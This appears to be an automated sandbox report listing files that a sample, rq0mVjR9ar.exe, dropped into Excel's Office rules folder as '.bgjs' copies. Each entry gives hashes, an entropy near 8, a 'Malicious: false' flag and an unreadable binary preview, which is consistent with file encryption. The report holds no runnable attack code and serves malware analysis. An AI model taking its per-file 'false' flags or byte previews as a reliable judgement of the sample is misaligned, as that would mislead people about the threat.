SHA-512:	C7A366AC264620F424DF1A47477966B7CDE39068B027DB7184FB66EBE9A30DB8A58066728532CAB79FEAAE58277ACA2409E9648208B040836EA674C61176E39E
Malicious:	false
Preview:	<?xml...\|2..?R..z.4.....j.....O.....`..;b8..K..h.Ot....pfw..E......MJ.G1..RP"..2Iu1G=i....!/t....tu.S...y..Z..42.x-N.+../.@Um..#N5..2..`.6h.aZ.....a..,.&[...................s.h.`...B.-..........'pI..u..`Vr.}J2....}.u.t....._.ONk'...........N.!.T...tj..;.P_s....0..s[...Ifk..$"w$...o...x.7R.]......3....Va..#...k@.Xk..!im.8.\.7.Y+E?'..}w.\..[.M.c..M.H.._V......._..dn........tkEe....~..W..`..&.....z.."S..+I...7e...q...x.....O..."h...b+v=...X.e..k...v.J.H.E.L...P...nFm....F..;J a.:..auhk3...J....sH....(.5<...D........5.unV.B...$...:..zP-...ng.v+U[.Ty.."`N.B.V.e..Jp..5..\|I..'..._o.zv.3....Fi\.M.R...K....../.w....+.zj....3.H.?..)....x.9.6.+...G..o.=w....C.I....(...i}m.....H..&..C?1..O\.s....%/.['.2..i....A.E...q..1..w.ybGN...m..I[...`......u.....O..\|b/....%.IKFx.y..Z..3...Lj.x.g.;.9^.G.J...BJ.lTM.....6.R.6.Y{.:..M..G.....OC......U._....ZU. ..`.LI..y1Q.2..0.\.V...l...z.].2......>.^...S..._QLn.J..E.v.L.S..>...S..w.^&.}.....}.[TMk.B.;F...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.938221106787976
Encrypted:	false
SSDEEP:	48:3vsYaBuBOWxpesecg5+Hw6lVNpOpXc87UtzbnyGRZ8NRjJfQgrjd9AbkC1TRp/dq:4oDpxeca+QAKp3gBbnYNRjhQgvd9Aop
MD5:	14D1BB2FCFCAE0A97F83506157D4A36B
SHA1:	26109AD99A7D2DD91CEDDD559470AD675F2C9E44
SHA-256:	90C8A64EB0945116CBA03E766E146255429E7944AFC3244DB36DD4EA634E7266
SHA-512:	CCF1ACC97E76B427B5D73B3F7A157A19C610268FA01F653F442E5CB2F65D7A947ADCA39CE461FE14E4E3C7AEEF738BD41BE40CFD3B55E22F300074E4B68660E7
Malicious:	false
Preview:	<?xml..).\|..+W... ..o......p...,.Y.9......./......<..?.~..0.._.Iz..Em..\|.Qs3.\|..<^.u.3...>....>j.OUj.p......g.E.gtz3.Lw......4..../Z..D.x..b..Z.S........\|m../q...%..y.G.K$+.>..#Q....z.....?z......C.[...ra.F.<...\Y.k+..v.K...-K.f)N.QH..c~...!.!q.I...m..#C...}...1!......r@..l.......$.C..K..G.....N..S...{.JS).!UTrA.F.@".#.s..\.....e^..V.\|\|._.v#.Z.\|.^....g.i.p..E.5.k{....W.P....>..]'p.GVu..D.U..(\|....X2.D.5g).a.x.q..V'.qK.....t{...T;V.?F.........GP. .}...$UAr:.......i.!............l..N..x ..+u.4H.H.".FP{.^...B...b...N]p]'..>D...J..&.[2&4.........].u.Wk.O.Z..}...#...G..G.8.W.`..$.!.H...<..&.r.......N...,....6.<I...-i..\..TV7.....1...k..`>.].sY...Yf......5_...O..I..^..Bn....N3...^.n.\|/..V............%..8h`..B.q.>L8.e.r...T....@.{.....[s;.:.Z.N.3........N.r....~.....A..$CLlK0}k.....N..n../.....&.;,.Z..s..p........%LI.5W.`<...9WP}....u....T@..d...3.6g.=?...f4.E/L..../.2.m.O.Y..b....[.K.{q&n.....f..;..ss=..h....`EZ.../.......P....0e.!........T....X...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.836744224358572
Encrypted:	false
SSDEEP:	24:D6xF5clYuWALxuXfxOwKmnV0crcRa33mLSQMQ+NiOUQ1bPw5jFnL/v+PiTkbD:DEglCfsw10DEmOQ4iOUak7LziD
MD5:	2A1191409010B1E03380FAE7635C7F59
SHA1:	0D18844A1C9EF79E0F775CFFE49EDE961E2DE17D
SHA-256:	782EF5647456D8BCC98C4FB183FC5C283D460FEF4E3073445957215B00E5AD1B
SHA-512:	4E2ABCA858BAD1BA8E33B389326C7AA86AF194E0638A8CE01C92DC4B219B8C8A258BD6C50FF0DB49870EE92DE5881A55C08FA42CCCB71A493646B57CB14E5ED4
Malicious:	false
Preview:	<?xml..'BQ....-86FX.Mp.\J.k,.8.tE-....>D..............;....&93.8......W..[...!.gF.J.<......#v.t..G...C..Kr....>s..Q._`.t.......k7.]..?.....b..oI.....V.w.n.q.N..J...{(O....A.4Rt%..t......nr.;.$.f....n..x...t@...P..@J...O......P6G3..1.z.< RGq..)..MiA..m.&..H.......9.<pIj"s..N...'.bl!a...&y.&.].J...y).u.5.KS..T.Dx.....Y.D.....@..F.c.:Q.+.e..p...1.yz.^.R.......q-.....Z..............3.M.7g.K...f.Xp.....H)..q ..rU..xjU;..&.H?...m..Q.....uezt@...-..IwR......u`..TA..r#...\.X.6....N.m..-ji...c....B>@f...J.+..8..8.Z.f...Y.]...",3....o.f......c.....u......,.:.&D..kr..0Ho.0.....`.gI.cMh.A>F..E%..$L....-....?...M.........h.....B...5B....?......6..F....J{.E"...%/.....0lF.O.?.p@YD...&.Q........!.%..<G&..z^..CyT...L...........I.A..0k.&L..b.!.2r:..^H<:.)q*....1/...t$...mk..-u..!...Mp.\|.l1"..8....n%....fkHs.e.G.,W...$`..p........]A..'..i}.LW.Gu......;/$..`...<t..k..C...NL..]H....0\|....7..MN....bC.c.UER.B'.].X...".....c"...O..L.:YM.,....r..~K%.5...E

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.931441349917629
Encrypted:	false
SSDEEP:	48:rGzK2Q8H5VveCV9fAT9c4Aitj4e6sDbSjOHGfC7EttPsNM1iD:qNVveCVmxcmtjyEuOHCC7EjPsNMk
MD5:	A2A96B65B5A643EC660B4B0831864AAC
SHA1:	357B602275FDB8D43E38A486F20D8BB510DDA907
SHA-256:	2F3B293884C46C3756FBF42C062A24228E32DEE9F8B4EB477454D80F28868328
SHA-512:	8B0F556C5C9672FFC059132C41492BC4822FB3024C571DBAD947CB6F23F9106335BEBB6825D27E39C3231ECED6348881B1D803F884F7A201512869BF96E860E7
Malicious:	false
Preview:	<?xml.q..]......(..g[\..}E...\.`YvM.[f`R.)R..6..c..~j:.%.:T..../..+R1....bgOX,.. t.x..v'w2.^.u.;.'..P.D...z.zd...zU..OA..ZdeG.P..-j.a.@....R.TL......Y{{5...U...@..2.......cM....t...c@..v\.=.p0.Q..e.7.9..LF....S...X.....w.....\/....5>.E.....x...r{.,.}....R\|... ..~.k...".7....u..VN0..........T..K....+.$\|~....A....or~...t...RBQ@.RUI....KA..g7;.T.._.,.s...B.;.N.K.z5.cX.....b....!.P....[M...v..xU......C.[4....T..b...;2...l...+.....kP.&{........._V.Tf.<1cx..y...3..S(.X...U....$.t.,..b:.t.N@...5.......Y..TT3)6......H#....k)..H..Aq..Nz..AY;.......&.....`.:Ph6.3_....)..J....=.4Z...s.t`.?!...]X6z.=..W..{<m.....gI.fm..?..........P!u.I...;..n.@.@.6.....(...\fi..[yn..^~..O..I.D...~..../ {n.:U..v..... ..a.&.o.B..Di....%.N&..._...P.E....v..H%S...;..V....#..&.......w..f..L.....".5...'...A.r.X;.Z97{.6?....?.A.2........e.x.q...?.T2J./9..............."...*....<H.g.1....y..=.......V"..34f.._2#.X$l...V...O....G.0:s.......4.n.....?....\|Pc...T...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.892743374803194
Encrypted:	false
SSDEEP:	48:ATpQJc2HC7Qhszb3kJvD3nWQNdGtlLzU77D49tiD:ATpac2aUJvzHNWnU77iM
MD5:	B4FCBBB2A53B551079BE3D865EF156E2
SHA1:	FEB609DB694654443641F06F185EFC9CAE89DA14
SHA-256:	5CA38C76C49AB3CAFBFCFDB34941473B13C6869503698880FD5FDFB5BA2BD8BA
SHA-512:	96E7164A7028132A31338AA65A3DE63F91038CABB33E176822B94425EC6CCF392BF6D5142C2C361ABFA63FC56A4FD9D9E3E71B8C008380CFFD81586D66979AB2
Malicious:	false
Preview:	<?xmlL..{^..Z..3a....>..A..}oF[F.!.'...."aB.b..E A...S...<.......t..S.A.].i.....0......aB..U..#..C....;Q.].@.H.XX.]........B.M./(e....6u.......C.R..^...0........"R...f....#.>\..:....kV..g..Ri...u..A...+..x7.0.....>.......H.Q.V4...4H.`.=n'.~...8..)..9A/k..Lw..U......$..o......p3..z.e.....2....^.4....z...E..#mD.p...&.t".B...j..L".o......Y.SQ.....L.S.l.H.$?.3F..W.i..'..PO..c+...lR.@s.....lp.....j.$m..x>9BM...{...x..y.[.....$..EV.5.=.l[....-.U.]....anv4.&.....(b.`].s.sdH..1"c....:{.I.f>.r.+......a@.../.$^1.....-..7..fw#..#\i..Xq.k....M.m.=&..6pr.......f.1...Uh.`...b..P8.Q1...". ..NN..o. .U?...]..j(..1.Rpj.x/.)w6lQu[...g`.L....D...d..........H...m.?.A......1.. ...,.X......P.....".............3.'.....w...kB..:mf./.5r.(..6......{...x._......9g..3.j.. w*hwA.~..(W.-....T.T.)D.C..tO.;..B.9.b.lH../G.c.......'..E....3..Q.H.#K`..y.c..R.....s....Z./)O.V..l..3...o.Y!..T.[.N,.....;P#.......8._.{.UKcj..#.3..H.z.2S...V....C[.'.l..V...R..F...r8.l....C..E#.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.883529994354535
Encrypted:	false
SSDEEP:	48:AqwPiPjBmmJhtokJcg0flqBELqMNz2pEiD:9wGNm4h+kL0flqBuqMNz2pD
MD5:	24BB346F6FE6AB8391C3DAF7C465D588
SHA1:	C930009778EB6D024F6B839478E16BAB59718B3C
SHA-256:	95A309069D885A5EAB879BA2E42E8B56C46A7DC1DC335AD8CF7FD62FA7C6CEFD
SHA-512:	B66F114972D33EE341BAA2CDB821772733358A416AA0AEB09F8415EDA336514803B0F2DE466DCA29E4CC2E02EAE54E025C1D6668B9C7D1855C255A6DBFA7A06F
Malicious:	false
Preview:	<?xml}.j.D..~=..f.ua..1....l^#..b.Q ..SH.N.l.h...0.Sw.I...i....Q....H.C...JS2..s.F.J..i...a....<!....dYX._...Z4.S._.......m..W...*t..{....[p......ziD....AF.......n...AH.0....D.6.'Y.l.....`k....X.......3..S.ow..A.....,.<...i.....&...Ui.(..\..m./..,..;.xF.VLH...?..X&[.f../Xo.(.....J......Dw..hP.~.M6.T......h.DF.....D..k...,.I.#...+.Y.Z.g........}......._,.U..>.......,jv..<8c.....cTL....#.f.Q......F\.jhf...5:....^..Z.T....t... W.I...c.....Y..T..0..l\s_./.;Ot....b.QR.V....%x....}....C......A..Oy.T9..(#...Y.yk......$.h.}.....cU..V.;...ksv..pc....K........\|@a]...>....u o..BLH........LV. {.........c~..}[a.O.&..^E.Y.+..-"{fS>..G.it..1...J.XF.\|.p..`om.._!...g@.....s.'.Q(8.8($.!.....UH!..7W..h....g.B..~.cd...{B...M....}...E_.@....I..%<.7.B....5.....3..@n..=.o.].P......../.a.?...C.u...G.E..]...".......+.......H...:.Ib.._.....\...?.}.:8n&$&i.\LNR....{.#G.......\|..+..Q..,O....ae.#l...!U.l.,.`..'PU.6c....Mj.XS.......!;..H-.A8.E.....b.[.ne..Qv.}~+b.np.g.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.92971245192811
Encrypted:	false
SSDEEP:	48:ThpMOZMY044YLqfkD3MeXPBi8AQIe/w6ssDWXavzUha2i1A0OSHJAYA9quGiD:ThiOZA4B8kD3MeWl6ssD5wha2i1ArlYq
MD5:	A350E8218EE778A9C0B88D9E8D3C79DE
SHA1:	259175BA8868B85A855E2EF1440B223F048388A8
SHA-256:	1B3333795C6D895910B5E55DC33DA24DAD205F8BD00D58FB5D5E554F4BCD9F0B
SHA-512:	707B8FAAEEDE8096B85B0A7225E7E569C309FA28B9BE47A35B336BA94493F85B8CF29280F6AFB9BF5E87B3A3B0FA06E537ADEA41D09C13F4031A504FAA0ADCEE
Malicious:	false
Preview:	<?xml../...o. X.g.sy.....yR..W?..u@..i4Q.p....;...$...~q3...)M.......^..........WY.iQ....I.e.x.3.x.$....d.?....c.ot.J...Z.s...QIb.-.../n....5 4.....B....8p....fP........y..\|q3T...L[\|^.R....].!.D/N..m.rp........w.....b....h.U.........?......7?i. k..-..)...7....{#a.Xu..m..l_..\Ek6..._8D..+t..a./.M.'a.(...,.Qd..o6.A.K.;.s...cz..)..m..\|&......g.n......Y...>.j.N..=.cf.).j... .-.....;C..<..icCK.cm......5ePW...2..c...U.6..yxe.R..~....8............R+.....9oNKn.M$..U.xKn..]r..d...l..C\W...$V..o.6...\d.h.9 .....o....D......L.......,B.......mCu..-,.L....,.r)..078&W..j...Q..P....l8.G.FH.....6-..q.............F...C ..#.h...cZ.>wFR..P...(.x.2..8../.I....B...cT^.}..0{.@_.....HC.B.-R..$H.x8./....csS...W......<.r3..a...EY..<96......\|*.. n..:....0..VA..Kd5.^=%..b,A.c....B..fP.q....u..{..7..!n.hG........qX.....N.b..h.%.7..U........#.2..,%..U5..$3..W.,....bf.v..-;.a....I..6O...?]D.d..2...S...1....)....F....RY!.W...[e........S.x=..p..Kw.H..)...w.&.Y?..._..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.952791198014146
Encrypted:	false
SSDEEP:	96:7nE06vztSc5iJpY9Kk/G/ZzxHVtopmTLDgEsnf9XcGf:wnxniJLDFxHVCsER9XBf
MD5:	AC9EFB9CFEC0049A0DB380E7E8B9C22A
SHA1:	D6F8063AB6D8A9E678A9629B5920F7F952F7C3E6
SHA-256:	2BC75D22060789856500506840F2B30EFA802769DA89D450A8AA2C4197C37535
SHA-512:	3FB51A8F8E5F3593D43D2C4684C5C9E29F14C1E4DAC339043668A5F5D2504962F7EE3BFC3757C5A23BC45533AD18C0025A8C365C7BF8EFD153DAC6E54694F9D5
Malicious:	false
Preview:	<?xmlj.G....T..\...7=...y..S._D03.z..1....m2Xhm.C..}<..,T......c....cW...A.$q..P.K.=....%..2..Z....5>W.I.Ck;...s.x ..7...K..7.k.8.#+..M+..Z.b..5..Pm.]tn..[..\.\9...pQ).h..g.~.n.b.H..6\|.A.c.k.. ....C]..%.K...!..pq...TXB...R..E0...~..^+'..C.. " GE.P=./A..)n..a..........D..R..DS..!.L......=.k..<.....\...=....}.@.J.U..v7n..A......G.1.P.P.........SS.j...b.?.-Y...Q~.r....mVe......V.............=f.'...{Y$.Q.$.a...F.....'.h..>..........3........6.a.2.b......\...?....<z..p.`.\3.4(#.bx+.7...(....Q.\.........SB`i..{...8d....r.2\4Fs...}#.....;....1W+.....<......2....`;..\."..,......`6.cY...F.........a....D.o.{....O...1.g..vF...../.?.om&.~iV...MK.L...'.3Y.9..e~+.t..+....?.x...sR.1.>b.m.....U.HE..h I_.... ..D.......'...$...:~&DF.r......o.M6_(...L..P.N.$.%M=<3....V...&....C.l.u...[..Q$..)C.h...o..^........u.<L.....U?V..kjp..J\|!....>..L+.K.A}SE...-..h[..:...3I.]..g.G.W.c......;rv....X.a%R.i.....p.HM..D%d...J(n..Nl.g....`}s.3..7X..s.Z...~..T.-w..\|6..R"jao^

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.972958335959775
Encrypted:	false
SSDEEP:	192:BmSRzNsv5JMB3/s/JWTIWokPh4eABbgWiR+Oi9A5m:QazWoBPoJWTxvp40R+Oi9A5m
MD5:	4EF75D1B8DA21C17163C22859CCCD0F4
SHA1:	D096F5FDB7F716AC35568EEA5D7C275AE92506E1
SHA-256:	6C7DD4A76304772C42A61A688B57E0EE3600B2631E2D9D318DC99305B92174D1
SHA-512:	122EE56885C307839CDCAA037990D02134CAD2322D5516D3D60B1A4D72BFFB2A75730135AEBCDAA8C1B48046F9F480675D8E2E70D449251B373ACF36EDFA29BC
Malicious:	false
Preview:	<?xmle.~.,...f...ru._.\|.Ha..C.....tK=..Z ......"ci%b.-5cZ..$..7...V.......BG4..;K..74.3O.......-.'.N....1....D.L.)..X../...-...Y.?....$.b...\|..]..#....3.....M.......6.Z........UN.`@g....H.i........G~....V.WoM......ePKf21....~....bX..2.....D....N.`...;$?...}acR...He".0......Q.`.....s..)?.G...L+.z6N.9X5..'.Q.(ddD..Cd7.9.>.YG. .....+.R.-..?:.+.?.........\|../....,..j<....._].UMs,.x...1.i.....,D....t.B.k....`...,y.._..v;..s).K(..Mm.p...q.F.Hr.`'....2O.5Uv]3....\|....H,..?....0...zgk...b....$....x..5i5..wt......j....TW.....k.>...e`B/....[....Y..q.gP?2$!...9..~..M..C.).5.Nhu.T.).xd5G. .^.3.ED..Z..hj_.....7.....?V.......,3k....Z.\|3.G.G.w....E....^...7\.(v...\|.Dz....... Bp..b.2..2.,Ce.{.VIH.wc..7.<..-.h......=.3>8.P....h...^,.e.....V8c.NK.,Y../.R.U....L.{.B..i3..Af<.B.^F&\|d.?............\|0..=?.dD....jC..jv.....C.,......i4..e.h2.....".$....n.........../i..M.[.......".Z.P.t..+D....wp...6m..X..#.. b...m$%n.@r...\%E..^b,...n.6.....u..i2.).;..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.935088863499774
Encrypted:	false
SSDEEP:	96:TA6J1w3vMJiMO8UV3GVZoFCxKP1TXcZijg8VH:WvgmMPkP1zcggSH
MD5:	2AEFD109FD60BCA95E2B37C892E0BCB9
SHA1:	37E95E4B5A67DCF085D38B2A412326220643C933
SHA-256:	D7D2244797DD0CD7B002452452774211A0B0182039EAC2424A539A93F81B393E
SHA-512:	7AED48A058C5E873A15F099487BC55E171CEA177E727BCB8D50C7317588BBD419A3F0474C94922AB598C0152730EFA43714AFDED6B45C3C8F3901A6D134CCBC2
Malicious:	false
Preview:	<?xml..-~..A.@...8....@N5.FN...)\|P}.R.i.C..\|...^t...tcs$...-.0.8.?T.....7.=^.....8N.Q..a...W...IJ...i..6..^/_..Y../.~...........[.`(,.....5..Mjc....../..NN.P^..{.Q..2....K.,..D}.\... ..r..<.J.I.....t#.s.n.?3p...8}.W.Z.&l\"T....p<....h..K......5..JU.G....w......3=J....u..s..0.U...h..)...i;0{g.+..Y..'S.._{)...l..e7.u....3..~.p=...P...\|..Y...oI.......JL....)...%.Vz.....x.,.Z....,.......X........IF.m...J..ax........8..OO..-.t.pAv...].y..H.../.?...T....3.......#,....<.F..h.0.CC....oe>....@.HG..h.Ns.J>...{P..D=.Qw.kd..8S...G.v\|......nF.d...C.V.?...'8m^p.\........+[ ...5?E_zt:..ET.#.,.8......T........aX1m.Y.{.W..0dK.....zN.w<..b$.Z.+<..C..hj..q.\...d0=..._f.X....En..\.V.................V.8..9...T..V...%c..~..8........*q3.t...VTW...o..8w..i..5.h..(.X...8..{..9.K5.u.....-.V........Jr..{...&..C.M9.......q..W..n.......P..g5....{.NzT.<..Hx......r..}...f%C..gp%.....v4...j7_..,.&..r.....EB.qg.P...c.L....f/^..{......P(..HxIv...U......1

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.954088109427295
Encrypted:	false
SSDEEP:	96:rZ9QDc6Kew7s8s32A349mYwwCbXP7xWzzg:lAc65wg3T49fsP8o
MD5:	E80F539192D0F16EA83A3F0BBF09BFF9
SHA1:	E66B44D8B3426B44CFD84C24DB5E03444EE143AE
SHA-256:	CBC3AD95DCA1F56F19DC2E9D9C98ACF5B798C680F20F15019B3A0C38E347CCFC
SHA-512:	413AF7868C39FAC90A0CF26ADD9292577410D70F3A33A86612EC7D704C18FE8348E344BF0B868571963DB704722A5843D035C5FC3D4427DDF0A6D3D14A591812
Malicious:	false
Preview:	<?xml8.a_...T...l(3....H?...Om..T.."...ZOc..s.....fYU...b.fG.-.....be,`...~..~...s..{...b.Dy...t}......7Q..$.g{kudW..0.g..l...M,V.....E.g..B.@..../+.2e.......5dwQJmnb.....(....G9.rl.......j....r..)T.....6......8;UA..4.n.D.g..oCz...~....ICo.s.f..`'.....W....Z..q.r'9.r...nm..........Y..y.F...........P.....].<@.d.k..X.=.R..i^.+f........M]..2...=.8....it..Z....G+v..P~.iX........+.....E\|..r.......9.B{x.y../....o....'...L"..K`.-.i.8.....h..........X.G....\.{.....%.......>.zI..G....<..s.....-e...eF. ..<...#^...W{.=..U..9k...;%A.,1.A...l#.3a...[.y.....".g.{..1....~.....^o..{.?.55.J.-Si...N..q:.~@...:tz.S....,.NF...kgU...\[5...:nn..r...c...)b...}.^g.r/...O.N....q.g.C..ksz..8..l.i{o?r>OZH\......G ...aT...R'N....!M.pE....{e.q...O..\|R.v..xF.U.]...._....\|..@.....].......b........5.+......UI.....*r$....<.W.]...+,.)...BW.A...y<'f.a).f....A.:.0...0.L.r..y.cu~,%{G@......4.z..s.Q....>HAE........[OyN...c.....O..5...4@Vm)...)...7.... .. ..d.0.#...xM......;..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.935408001688185
Encrypted:	false
SSDEEP:	48:nOTYvwNIVJG5pRrJc00DDmrm0LGXt7k5is65yQudax+5oRcvEMRsHKiD:nOTOwNIVoy2rm+GXt7kj6MI18RsN
MD5:	2EC04F6EF3AD4F2FC3660CD3BCDBE3DA
SHA1:	13D327207AE42C0F0F1D98057EC6A8135B8DFCBB
SHA-256:	49A76EEDD97FB224F838D6236992A768A9B8AE038B6F9FD279134E1251B01E62
SHA-512:	86B78D105214E4BB81A82FFB9C1C05795C4773091B1E096AFCDB6A209AD3469F83491C6FCCF42C171E4E16DE7431DE319E4FDED1074EE5F3B43FE69FE9DEEFC8
Malicious:	false
Preview:	<?xml.X)....d...N........a.v.......G.{%oY.@."..N..mT.3.V...u....#>...?..<..m{...\.`...MD.....4C..vs......'t...L...$h..-....z.Q.Af1p...7.!X...Pp.Uj[..2....%%oP...Ua.3.V.+.p=.....F..Y.8.>..g\R.B.LBd..=.I.._..]...{m.^.....!..{..).f.h..K.p...m..MC.9[g."......tpn...[..++/.V..5.E...?............j.....K.....\|.."#9...K'g.C.....N@.B.....!..}^.y:...n....rGK...V!.....g...0_....`U._.Zp%]8......N.`V...$.l.> ..A........b...P.N..w....G..2.1..V.WBO..,.>t...{"A!.0.{iu...'....d....w^..._\|`4n.4..s.gl...&o8.oi~.8.;Vu...V.w]>y.4.g...E.86....YK..l.H..K<.~.U...N3.8'\.:.S......+..j.'..b3J+e.b.T.Q.........R8..V.0u_...E{_@.i....K...!".2.]..Qn.._.'.G./...+...'.UU4y..;v...F).d.O..8. s...O/.A..#6dU...3....,....*..)...}n/..i.bx`......6.;(#\|..i..3s'.R.".......1..WR/..O.O..@........cr...jp...m.T.....V/..3..a}.]#nEx)..7.`iNa....C.e....<H8.o..O.`......r?.....y.dM.8d-}=..0..l.......)...n.Q`Qu.....e........j.p.9...(..,l.....L.@.s..G.I.u..i.....?.....;.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.916815691853688
Encrypted:	false
SSDEEP:	48:TATVSFFpMHir/D9d9Kk34rJ61v0p1/R7XBBXXQ9hXwOWiD:BFpL/EqZepNRHA9hAOJ
MD5:	7750B16F4EC22C02E2008FE887D5AAF1
SHA1:	B8B73F285ACED617D2D6D70B71074E3D9EB55E2E
SHA-256:	25FDC224E8694A5A8191B8E4DFC593F67DC4AB4610264C3AEC18B81F1F64BAA6
SHA-512:	FCF6FD82F3D02765929C304BED38D7971F4B9642E22C36A6D6E94225E471F7B6C08CCB0E560C1D5DF496D7D46E2C6253C8A066B7A276091777CFA60B1C375E99
Malicious:	false
Preview:	<?xml.X..(..N4_...W.U...@....3..1.B.WJe..gs.....T+..d.o..T...v+Ei....%.dUu.pv.../..W^.cq?y..\|.m3.5.r..4&z.ao.Ze.3Z..C......Q....]..m(.:.L$H...hqO..\|...o....ie.pn....q3.....M...P..q.Q.].8......8.9...6.h..uf....(..)ajAk.......4.J...Cv.....g.TZ{.......f.8>.L?..D8?......]..8.O.Tb~.I@..u.....7.^.&...bw.]R....!..=.6..&GR...o....q.....MN...;.Q..4Z...:g..{...".. .-........,5?.'.Qw.Y,.?#w>..'....b.^.x6..T..9.u....r+#RR1..Y......=.. ...B(.7.p'...t..s.jR...o...?.m..X..Q.Dl....'.p...#.......4M.:.3.vn@.V.......T&Et.....U.....3...8W6...1R.y..o.J., ~..M.......j.g..'..1......U$.?...R.b.Fwv.f.im.sHy.......W3e...>..:R/.5.".m...K...s....M.s._+R5z..yU...]..........2.?M.M>.f..V[.g...r...F4...}..=f.....KY9....[#...:u....c..P...j/.r.'2....'i...s.HE.j...s."%R..%.z.o.V.Gcem.O...Bgg..W....})%.[dw.(....Y.....Q..e........Q....<]....X...A..W.@.^,.X+o..;_..."5..._\|...H.KGnG]. ..-..G..'..]<....4.Vw..;..........g...o...2....*.....,.C>.......G..;p_m.h.^?...=wc[.0.j..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.698751736206126
Encrypted:	false
SSDEEP:	12:TNS1bFVAZnju/81zaGqn1vPhXm0UZt+RQXMOhMcSilza3qj0WhNAeiixpZacii9a:TNSVFVAZnq7n1nhzcEQXMqMczd6iTkbD
MD5:	E3B73223AE5B92B07AE2AF58DCE93052
SHA1:	6DE9C6AC45D91AFACE01F026D0009DD20E7A0726
SHA-256:	A87D83E4B5BBA86D6280F5EA2C2593023CFB5505221F4B2E719E2FB1C5211C4A
SHA-512:	BCC704E0C110984B5355179217DDEA827FF38A1CA25EC12870AD9CE2AE46025B4B5DC73EC38D2C8C87A39379D480FD9ED0A0BD65C1D19C4390D6CA4465C04537
Malicious:	false
Preview:	<?xml.)fJ...e.....b.U..Qz.s..q.r.,W.b^.t."bo..P.....j.9e[5^&...oY.h4..!ew.!~...C..f&.r+..-.\|.%.#.JQ.>.<.....<T....x.w...#B..~.,..mV.p.D.(.....C.....zE..>......~F\0.R8}S.....#...c..S. .........BS..<.e.W._.5z....V..s...!.....L...A..e^h.52$.[...w.......(....-..1.....8..Q:..9.(...K...!..]./S...../...b.Ua....#...fw.p....CX.}..m.nn.zj.(...:..>._.+v.^.D6d4&......z....8.?.g...t.9....Tp...~...Z......e.3<u.R..(.....M...3........a-..Z.I.\|n..Q.}...Z......t....'owo.]+C.V........~.f........#.....5%%..r...d".P.(..C.......I......"...).=.O.2...-%.>~5.Y.[S.6G?1....N.._O...j.....{. &.....8t.S...,i..M.."...N.!...5+..K3.I..InX.n.e.Fj...n......Q..kr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.8370115180014865
Encrypted:	false
SSDEEP:	24:bQNaYXQKNOjW8mPkFWGe+Sx+0JuLUqw+eCbBVSalD4fTPoiTkbD:0Na/jW8QkAK0JuZveCbBVSalDiBiD
MD5:	F59EA623B1182FFBAF99CB847E75EABF
SHA1:	B3D091635D711B8EA1C93F37B7082B222CA299F8
SHA-256:	31B8868C48F90AFE0FB10FE41B4B2604A77CB9D87C7727B70281DA5C5201CC64
SHA-512:	8B9A9E66EADCF943B79885A1FBD6165746217BD76296E751207588AA309036FF17D994567BBF83D2A82610EE8F02B1AC3F9D3CF3CDADAC43CECC454D4420006D
Malicious:	false
